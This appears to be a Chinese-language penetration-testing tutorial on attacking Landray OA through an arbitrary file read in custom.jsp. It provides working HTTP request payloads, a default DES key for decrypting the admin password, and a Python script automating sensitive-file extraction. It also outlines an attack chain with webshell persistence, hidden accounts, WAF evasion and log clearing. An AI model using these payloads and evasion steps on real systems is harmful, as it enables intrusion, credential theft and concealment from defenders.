蓝凌OA渗透测试实战从任意文件读取到完整攻击链构建在渗透测试实战中我们常常陷入一种思维定式——追求直接获取远程代码执行(RCE)漏洞。然而真正高效的渗透测试往往需要更灵活的思维路径。蓝凌OA系统作为企业级协同办公平台其安全性直接关系到企业核心数据资产。本文将带你跳出RCE的单一视角探索如何通过任意文件读取漏洞快速定位后台入口、获取敏感配置并构建完整的攻击链。1. 重新认识任意文件读取漏洞的价值任意文件读取漏洞常被视为低危或信息泄露类漏洞但实际上它是渗透测试中的瑞士军刀。在蓝凌OA系统中这类漏洞通常存在于custom.jsp等接口中攻击者可以通过构造特殊请求读取服务器上的任意文件。典型利用方式POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1 Host: target.com Content-Type: application/json {body:{file:file:///etc/passwd}}与直接尝试RCE相比任意文件读取具有以下优势隐蔽性高不会触发明显的防御机制信息价值大可获取系统配置、密钥、数据库连接等关键信息攻击面广为后续攻击提供精准定位2. 关键配置文件定位与利用蓝凌OA系统中以下几个配置文件往往包含高价值信息文件路径可能包含的信息后续利用方式/WEB-INF/KmssConfig/admin.properties后台管理密码(加密)、密钥解密后登录后台/WEB-INF/classes/spring*.xml数据库连接信息、服务配置数据库直接访问/WEB-INF/web.xml接口映射、过滤器配置发现隐藏接口/WEB-INF/classes/applicationContext*.xml服务依赖、组件配置寻找反序列化点实战案例解密admin.properties读取文件内容POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1 Host: target.com Content-Type: application/json {body:{file:file:///WEB-INF/KmssConfig/admin.properties}}获取加密密码后使用默认密钥kmssAdminKey进行DES解密尝试登录后台管理界面/admin.do3. 从信息收集到权限提升获取配置文件只是第一步关键在于如何将这些信息转化为实际的权限提升。以下是几种常见路径3.1 后台功能滥用通过解密获得的密码登录后台寻找存在漏洞的管理功能如文件上传点模板编辑功能系统命令执行接口3.2 数据库连接利用从配置文件中获取的数据库信息可用于直接连接数据库修改用户数据提取加密凭证进行离线破解通过数据库特定功能(如MySQL的UDF)实现命令执行3.3 密钥重用攻击蓝凌OA系统中常见的密钥用途包括管理员密码加密会话令牌签名敏感数据加密获取一个密钥可能意味着可以解密多个系统的敏感数据。4. 攻击链构建与防御规避成熟的渗透测试需要构建完整的攻击链而非依赖单一漏洞。以下是一个典型的攻击流程初始访问通过任意文件读取获取配置信息权限提升利用获取的凭证登录后台横向移动通过数据库连接访问其他系统持久化植入Webshell或创建隐藏账户防御规避技巧使用低频请求避免触发WAF清理日志中的敏感操作记录利用系统正常功能(如日志查看)掩盖恶意行为在实际测试中我曾遇到一个案例通过读取web.xml发现了被重命名的管理接口结合从spring配置中获取的数据库密码最终实现了对整个系统的控制。这种拼图式的攻击方式往往比直接尝试RCE更有效。5. 工具与自动化实践虽然手动测试能加深理解但实战中效率至关重要。以下工具可以提升测试效率自定义脚本自动化文件读取和敏感信息提取import requests targets [ /WEB-INF/KmssConfig/admin.properties, /WEB-INF/web.xml, # 其他关键文件路径 ] for target in targets: resp requests.post( http://target.com/sys/ui/extend/varkind/custom.jsp, json{body:{file:ffile://{target}}} ) if resp.status_code 200: print(f[] Found: {target}) print(resp.text)密码解密工具针对蓝凌OA的DES加密实现专用解密器请求代理插件Burp插件自动标记敏感信息记住工具只是辅助真正的价值在于测试者的思路和对系统的理解深度。每次测试都应视为一次学习机会而不仅仅是漏洞挖掘任务。